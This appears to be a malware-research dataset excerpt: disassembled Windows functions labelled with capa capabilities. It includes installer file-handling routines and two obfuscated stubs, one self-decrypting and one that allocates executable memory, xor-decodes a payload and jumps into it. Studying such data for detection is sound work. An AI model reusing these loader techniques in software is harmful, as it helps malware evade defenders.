joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cd9
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402cf6
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x402d05
mov ebx, 0x40ece8
mov eax, dword [ebp + 8]
test eax, eax
js 0x402d1a
mov ecx, dword [0x423c18]
add ecx, eax
push ecx
call fcn.00402cc2
push 4
lea eax, [ebp + 0x14]
push eax
call fcn.00402c90
test eax, eax
jne 0x402d31
push 0xfffffffffffffffd
pop eax
jmp 0x402e8a
test dword [ebp + 0x14], 0x80000000
je 0x402e69
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x41ecf0
mov dword [ebp - 0xc], eax
call fcn.00405e9a
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x402e87
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402d71
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x40ace8
push edi
call fcn.00402c90
test eax, eax
je 0x402d29
sub dword [ebp + 0x14], esi
mov dword [0x41ed08], edi
mov dword [0x41ed0c], esi
mov eax, dword [ebp - 8]
mov ecx, 0x41ecf0
mov dword [0x41ed10], ebx
mov dword [0x41ed14], eax
call fcn.00405eba
mov dword [ebp - 0x14], eax
test eax, eax
js 0x402e5b
mov esi, dword [0x41ed10]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x423cb4], 1
mov edi, eax
je 0x402e0f
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x402ddc
cmp dword [ebp + 0x14], 0
jne 0x402e0f
push dword [ebp + 8]
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00404683
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x402e50
cmp dword [ebp + 0x10], eax
jne 0x402e38
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402e62
cmp dword [ebp - 0x10], esi
jne 0x402e62
add dword [ebp - 4], esi
jmp 0x402e44
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x41ed10]
cmp dword [ebp - 0x14], 1
jne 0x402d90
jmp 0x402e87
cmp dword [ebp + 0x14], eax
jg 0x402d64
jmp 0x402e87
push 0xfffffffffffffffc
jmp 0x402d2b
push 0xfffffffffffffffe
jmp 0x402d2b
test edi, edi
je 0x402ed0
cmp dword [ebp + 0x14], esi
jge 0x402e75
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00402c90
test eax, eax
je 0x402d29
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x402e9c
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x40ace8
push edi
call fcn.00402c90
test eax, eax
je 0x402d29
push 0
lea eax, [ebp + 0x10]
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402e62
cmp esi, dword [ebp + 0x10]
jne 0x402e62
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x402e91
jmp 0x402e87
Function at 0x402ed8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x400
mov esi, 0x42ac00
push esi
add eax, 0x3e8
push ebx
mov dword [0x423c20], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 3
push 0x80000000
push esi
call fcn.00405463
mov edi, eax
mov dword [ebp - 0xc], edi
mov dword [0x409010], edi
cmp edi, 0xffffffff
jne 0x402f32
mov eax, str.Error_launching_installer
jmp 0x403107
push esi
mov esi, 0x429c00
push esi
call fcn.004055f1
push esi
call fcn.0040576b
push eax
push 0x42b000
call fcn.004055f1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x41ed78], eax
mov esi, eax
cmp eax, ebx
jle 0x40304d
mov ebx, 0x416cf0
mov eax, dword [0x423c2c]
neg eax
sbb eax, eax
and eax, 0x7e00
add eax, 0x200
mov edi, esi
cmp esi, eax
jl 0x402f86
mov edi, eax
push edi
push ebx
call fcn.00402c90
test eax, eax
je 0x40310e
cmp dword [0x423c2c], 0
jne 0x403018
push 0x1c
push ebx
lea eax, [ebp - 0x28]
push eax
call fcn.0040541f
mov eax, dword [ebp - 0x28]
test eax, 0xfffffff0
jne 0x403026
cmp dword [ebp - 0x24], 0xdeadbeef
jne 0x403026
cmp dword [ebp - 0x18], 0x74736e49
jne 0x403026
cmp dword [ebp - 0x1c], 0x74666f73
jne 0x403026
cmp dword [ebp - 0x20], 0x6c6c754e
jne 0x403026
or dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [0x416cec]
and eax, 2
or dword [0x423ca0], eax
mov eax, dword [ebp - 0x10]
mov dword [0x423c2c], ecx
cmp eax, esi
jg 0x403116
test byte [ebp + 8], 8
jne 0x40300a
test byte [ebp + 8], 4
jne 0x40304b
inc dword [ebp - 4]
lea esi, [eax - 4]
cmp edi, esi
jbe 0x403026
mov edi, esi
jmp 0x403026
test byte [ebp + 8], 2
jne 0x403026
push 0
call fcn.00402c2c
pop ecx
cmp esi, dword [0x41ed78]
jge 0x40303b
push edi
push ebx
push dword [ebp - 8]
call fcn.00405e29
mov dword [ebp - 8], eax
add dword [0x416cec], edi
sub esi, edi
test esi, esi
jg 0x402f6b
xor ebx, ebx
push 1
call fcn.00402c2c
pop ecx
cmp dword [0x423c2c], ebx
je 0x403116
cmp dword [ebp - 4], ebx
je 0x403090
push dword [0x416cec]
call fcn.00402cc2
push 4
lea eax, [ebp + 8]
push eax
call fcn.00402c90
test eax, eax
je 0x403116
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 8]
jne 0x403116
push dword [ebp - 0x14]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov eax, dword [0x423c2c]
add eax, 0x1c
push eax
call fcn.00402cc2
push dword [ebp - 0x14]
push esi
push ebx
push 0xffffffffffffffff
call fcn.00402cd9
cmp eax, dword [ebp - 0x14]
jne 0x403116
test byte [ebp - 0x28], 1
mov dword [0x423bcc], esi
mov eax, dword [esi]
mov dword [0x423c28], eax
je 0x4030d5
inc dword [0x423c24]
push 8
pop ecx
lea eax, [esi + 0x44]
sub eax, 8
add dword [eax], esi
dec ecx
cmp ecx, ebx
jne 0x4030db
push 1
push ebx
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esi + 0x3c], eax
push 0x40
add esi, 4
push esi
push 0x423be0
call fcn.0040541f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
push 1
call fcn.00402c2c
pop ecx
mov eax, 0x4072c0
jmp 0x403107
Function at 0x4052c1
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x4211c0
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x4211c0], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4052fc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405443
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405460
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x405463
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [eax + 1]
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405492
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4054d6
test edi, edi
jne 0x40549d
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4054d0

Function at 0x4054da
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40554b
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x400
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40553a
cmp dword [ebp + 0x14], 1
je 0x40553c
cmp dword [ebp + 0x14], 2
je 0x40553c
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405792
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421208
push esi
call fcn.004055f1
push esi
call fcn.004053cc
mov edi, eax
test edi, edi
jne 0x4057b3
xor eax, eax
jmp 0x40580b
push edi
call fcn.00405613
test byte [0x423c28], 0x80
je 0x4057cc
mov al, byte [edi]
test al, al
je 0x4057af
cmp al, 0x5c
je 0x4057af
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
sub edi, esi
jmp 0x4057ec
push esi
call fcn.004056ae
test eax, eax
je 0x4057e6
test byte [eax], 0x10
je 0x405810
push esi
call fcn.0040576b
push esi
call ebx
cmp eax, edi
jg 0x4057d7
push esi
call fcn.0040573e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x40580a
Function at 0x405ac5
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.004056d5
mov esi, dword [esp + 0x18]
test eax, eax
je 0x405ae9
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405c22
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x421608], 0x4c554e
mov edi, 0x400
mov ebp, 0x421608
test esi, esi
je 0x405b2d
push 1
push 0
push esi
call fcn.00405463
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405c28
cmp eax, edi
jg 0x405c28
push edi
mov esi, 0x421f48
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405c28
cmp eax, edi
jg 0x405c28
push esi
push ebp
push str._s_s_r_n
push 0x421a08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x423bcc]
push dword [eax + 0x128]
push esi
call fcn.0040586a
push 4
push 0xc0000000
push esi
call fcn.00405463
mov ebp, eax
mov dword [esp + 0x14], ebp
cmp ebp, 0xffffffff
je 0x405c22
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405c1b
push 0
lea eax, [esp + 0x1c]
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405c1b
cmp edi, dword [esp + 0x18]
jne 0x405c1b
push str._Rename__r_n
push esi
call fcn.00405814
test eax, eax
jne 0x405c2f
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call fcn.004055f1
add edi, 0xa
mov eax, edi
push ebx
push 0x421a08
add eax, esi
push eax
call fcn.0040541f
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x1c]
push eax
add edi, ebx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x423c90]
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0x407634
add eax, 0xa
push eax
call fcn.00405814
test eax, eax
je 0x405be6
inc eax
lea ecx, [esi + edi]
mov ebp, eax
cmp eax, ecx
jae 0x405c56
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x405c4b
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x405be8
Function at 0x405c5e
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00405792
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x405c93
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423c88], eax
jmp 0x405e24
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x405cae
test eax, eax
je 0x405dcf
test cl, 2
je 0x405dcf
push edi
push ebx
mov esi, 0x422348
push esi
call fcn.004055f1
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x405cd1
push str..
push esi
call edi
jmp 0x405cd7
push ebx
call fcn.0040576b
cmp byte [ebx], 0
jne 0x405ce5
cmp byte [0x422348], 0x5c
jne 0x405ced
push 0x407290
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebx + eax]
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x405dc4
lea esi, [ebp - 0x11c]
push 0x3f
mov eax, esi
push eax
call fcn.00405388
cmp byte [eax], 0
je 0x405d2f
cmp byte [ebp - 0x18], 0
je 0x405d2f
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405d45
mov al, byte [esi + 1]
test al, al
je 0x405da3
cmp al, 0x2e
jne 0x405d45
cmp byte [esi + 2], 0
je 0x405da3
push esi
push edi
call fcn.004055f1
test byte [ebp - 0x148], 0x10
je 0x405d6a
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405da3
push dword [ebp + 0xc]
push ebx
call fcn.00405c5e
jmp 0x405da3
push ebx
call fcn.00405443
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405d9b
test byte [ebp + 0xc], 4
je 0x405d93
push ebx
push 0xfffffffffffffff1
call fcn.00404683
push 0
push ebx
call fcn.00405ac5
jmp 0x405da3
inc dword [0x423c88]
jmp 0x405da3
push ebx
push 0xfffffffffffffff2
call fcn.00404683
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405d11
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405dce
mov byte [edi - 1], 0
pop edi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405e23
cmp dword [ebp - 8], esi
je 0x405e13
push ebx
call fcn.004056ae
test eax, eax
je 0x405e23
push ebx
call fcn.0040573e
push ebx
call fcn.00405443
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x405e1b
test byte [ebp + 0xc], 4
je 0x405e13
push ebx
push 0xfffffffffffffff1
call fcn.00404683
push esi
push ebx
call fcn.00405ac5
jmp 0x405e23
inc dword [0x423c88]
jmp 0x405e23
push ebx
push 0xffffffffffffffe5
call fcn.00404683
pop esi
pop ebx
leave
ret 8
Function at 0x405e29
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x42274c], 0
jne 0x405e67
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405e3d
mov dword [ecx*4 + 0x422748], eax
inc ecx
cmp ecx, 0x100
jl 0x405e38
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x405e94
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x422748]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x405e75
not eax
pop ebp
ret 0xc
Function at 0x569000
Capabilities:
Encode data using xor

Disassembly:
push eax
push ecx
push edx
push ebx
push ebp
push esi
push edi
call 0x56900c
pop ebx
sub ebx, 0x8d00c
push 0
pop ecx
push ebx
sub dword [ebx + 0x2dc], 0x5c7d551b
xor dword [ebx + 0x16c], 0x1f6e71d3
xor dword [ebx + 0x78], 0x48c038a0
add dword [ebx + 0x13c], 0x1dba3383
not dword [ebx + 0x1c4]
add dword [ebx + 0x8c], 0xf113dc0
xor dword [ebx + 0x2b4], 0x57292426
add dword [ebx + 0x90], 0x72815eba
add dword [ebx + 0xdc], 0x3f676a03
sub dword [ebx + 0xac], 0x2cf74d38
add dword [ebx + 0xe0], 0x6b69131d
add dword [ebx + 0x29c], 0x2c485d6c
xor dword [ebx + 0xf4], 0x608f0170
sub dword [ebx + 0xbc], 0x210a4531
xor dword [ebx + 0x30c], 0x594b469c
not dword [ebx + 0xa8]
add dword [ebx + 0x228], 0x44c32042
not dword [ebx + 0x28]
not dword [ebx + 0x168]
add dword [ebx + 0x44], 0x4a34433d
not dword [ebx + 0x290]
sub dword [ebx + 0x150], 0x23f9257e
xor dword [ebx + 0x25c], 0x75b06c62
sub dword [ebx + 0x200], 0x315606bb
add dword [ebx + 0x1dc], 0x544d5946
xor dword [ebx + 0x54], 0x48fb5edc
sub dword [ebx + 0x3c8], 0x4b566e4a
xor dword [ebx + 0x284], 0x59a63ad8
not dword [ebx + 0x3d4]
not dword [ebx + 0x12c]
not dword [ebx + 0x138]
add dword [ebx + 0x70], 0x61052e5c
add dword [ebx + 0x308], 0x6d9a177e
not dword [ebx + 0xb4]
not dword [ebx + 0x318]
not dword [ebx + 0x1b8]
add dword [ebx + 0xe8], 0x39d6514c
xor dword [ebx + 0xc0], 0x593a3e75
sub dword [ebx + 0x14], 0x34c7254a
xor dword [ebx + 0x144], 0x4b767c0f
xor dword [ebx + 0x2bc], 0xfe146f3
not dword [ebx + 0x1b4]
not dword [ebx + 0x18]
not dword [ebx + 0xec]
sub dword [ebx + 0x354], 0x511101c
xor dword [ebx + 0x1f4], 0x7c8b0113
add dword [ebx + 0x2e0], 0x4e59037f
xor dword [ebx + 0x204], 0xa74530b
not dword [ebx + 0x3f0]
not dword [ebx + 0x36c]
sub dword [ebx + 0xf0], 0x2e2716d5
add dword [ebx + 0x3a0], 0x7dcd5ad3
sub dword [ebx + 0x124], 0x45c12a3f
not dword [ebx + 0x3f8]
not dword [ebx + 0x7c]
add dword [ebx + 0x3bc], 0x4b5662fc
not dword [ebx + 0x38c]
add dword [ebx + 0x3b4], 0x4716e9b
sub dword [ebx + 0x268], 0x7b5e5ed3
xor dword [ebx + 0x64], 0x79ae5b82
xor dword [ebx + 0x68], 0x21a5808
xor dword [ebx + 0x1ac], 0x1b11c25
not dword [ebx + 0xe4]
xor dword [ebx + 0x238], 0x17d02532
not dword [ebx + 0x158]
not dword [ebx + 0x2d8]
xor dword [ebx + 0x384], 0x6b5c1d99
add dword [ebx + 0x4c], 0x7063f5f
add dword [ebx + 0x328], 0x35035334
xor dword [ebx + 0x114], 0x10564ac8
add dword [ebx + 0x1cc], 0x82f30d6
sub dword [ebx + 0x2a8], 0xa784eff
sub dword [ebx + 0x198], 0xe8654bf
add dword [ebx + 0x50], 0x63ca43fa
add dword [ebx + 0x194], 0x5a675ee3
sub dword [ebx + 0x3a4], 0x6a3c4d34
not dword [ebx + 0x60]
xor dword [ebx + 0x5c], 0xcb362ec
add dword [ebx + 0x3d8], 0x68ea7a5d
not dword [ebx + 0x244]
not dword [ebx + 0x378]
add dword [ebx + 0x154], 0x6cd729aa
add dword [ebx + 0x234], 0x6de47141
xor dword [ebx + 0xd0], 0x409c43f3
not dword [ebx + 0x2b8]
not dword [ebx + 0x14c]
not dword [ebx + 0x2d4]
xor dword [ebx + 0x270], 0x7f203390
xor dword [ebx + 0x210], 0x2ea761a0
sub dword [ebx + 0x2f4], 0x7aa66ab
xor dword [ebx + 0x98], 0x1baa4fc7
sub dword [ebx + 0x330], 0x3dad3c3a
xor dword [ebx + 0xc8], 0x3d13443
invalid
inc ebx
Function at 0x1002598
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0x3ec
push ebx
push esi
push edi
xor ebx, ebx
push 0x11
pop ecx
xor eax, eax
mov dword [ebp - 0x78], ebx
lea edi, [ebp - 0x74]
rep stosd dword es:[edi], eax
push 7
pop ecx
mov dword [ebp - 0x20], ebx
lea edi, [ebp - 0x1c]
mov dword [ebp + 0x64], ebx
mov dword [ebp + 0x5c], ebx
mov dword [ebp + 0x54], ebx
rep stosd dword es:[edi], eax
mov esi, 0x105
mov dword [ebp + 0x4c], ebx
mov dword [ebp + 0x60], ebx
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x48], ebx
mov dword [ebp + 0x44], ebx
call fcn.01001ddb
mov dword [ebp + 0x50], eax
mov eax, dword [ebp + 0x70]
push eax
mov dword [0x10050b0], eax
call fcn.0100247c
cmp dword [ebp + 0x78], ebx
mov dword [0x10050ac], eax
je 0x1002616
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, esi
jle 0x1002616
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, ebx
mov dword [ebp + 0x70], eax
je 0x1002c8c
push 0x100119c
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10026ef
lea eax, [ebp + 0x78]
push eax
push 0x20019
push ebx
push 0x1001450
push 0x80000001
mov dword [ebp + 0x78], ebx
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x44], ebx
mov dword [ebp + 0x48], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10026b2
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp + 0x44]
push eax
lea eax, [ebp + 0x58]
push eax
push ebx
push 0x1001444
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10026a4
cmp dword [ebp + 0x78], ebx
je 0x1002c8c
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1002c8c
cmp dword [ebp + 0x78], ebx
je 0x10026b2
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0100243d
cmp eax, ebx
mov dword [0x10050a8], eax
je 0x10026d1
push 0x1001210
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10050b4], eax
mov eax, dword [0x10050b4]
cmp eax, ebx
je 0x1002c8c
push ebx
push ebx
lea ecx, [ebp + 0x5c]
push ecx
lea ecx, [ebp + 0x54]
push ecx
call eax
jmp 0x1002c8c
call fcn.01001844
push dword [0x10050ac]
push ebx
jmp section..htext
mov eax, dword [ebp + 0x54]
cmp eax, ebx
je 0x1002c99
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 0x5c]
cmp eax, ebx
je 0x1002ca6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp + 0x4c], ebx
je 0x1002cb4
push dword [ebp + 0x4c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x10050a8]
cmp eax, ebx
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
je 0x1002cc6
push eax
call esi
cmp dword [ebp + 0x70], ebx
je 0x1002cd4
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x10050ac]
cmp eax, ebx
je 0x1002ce0
push eax
call esi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
add ebp, 0x68
leave
ret 0x10
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x4028f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x402901
pop dword [ebp - 4]
mov eax, 0xc6d2229b
add eax, 0x396e0666
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xc9e8a2aa
sub dword [ebp - 0x14], 0x7b965d5f
mov dword [ebp - 0x10], 0xc1a4432b
add dword [ebp - 0x10], 0x708f091a
mov dword [ebp - 0xc], 0xaa20899f
add dword [ebp - 0xc], 0xa22bba8f
mov dword [ebp - 8], 0x5393436f
add dword [ebp - 8], 0xac6cbc91
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x436c5d15
add dword [ebp - 0x14], 0x31060c41
mov dword [ebp - 0x10], 0xc7a406d7
sub dword [ebp - 0x10], 0x8637a562
mov dword [ebp - 0xc], 0xfb7b25d8
sub dword [ebp - 0xc], 0x980bb96c
mov dword [ebp - 8], 0x6bf9259
sub dword [ebp - 8], 0x6bf9259
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xb6d01acd
add eax, 0x4970b57b
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1ab
push 0
call eax
mov ecx, 0x2f027f07
add ecx, 0xd0fdcb95
mov edi, eax
mov esi, 0x1db1017a
sub esi, 0x1d6f517a
add esi, dword [ebp - 4]
mov ebx, 0x725e130f
sub ebx, 0xe93a11c9
mov edx, dword [esi]
xor edx, ebx
mov dword [edi], edx
add edi, 4
add esi, 0x3d3d499f
add esi, 0xc2c2b665
loop 0x402a1e
add eax, 0x11d43
mov ebx, eax
add eax, 0x8c8ae80d
sub eax, 0x8c8ae808
mov ecx, 0x77bfa847
add ecx, 0x888057b9
add ecx, dword [ebp - 4]
call ebx
leave
ret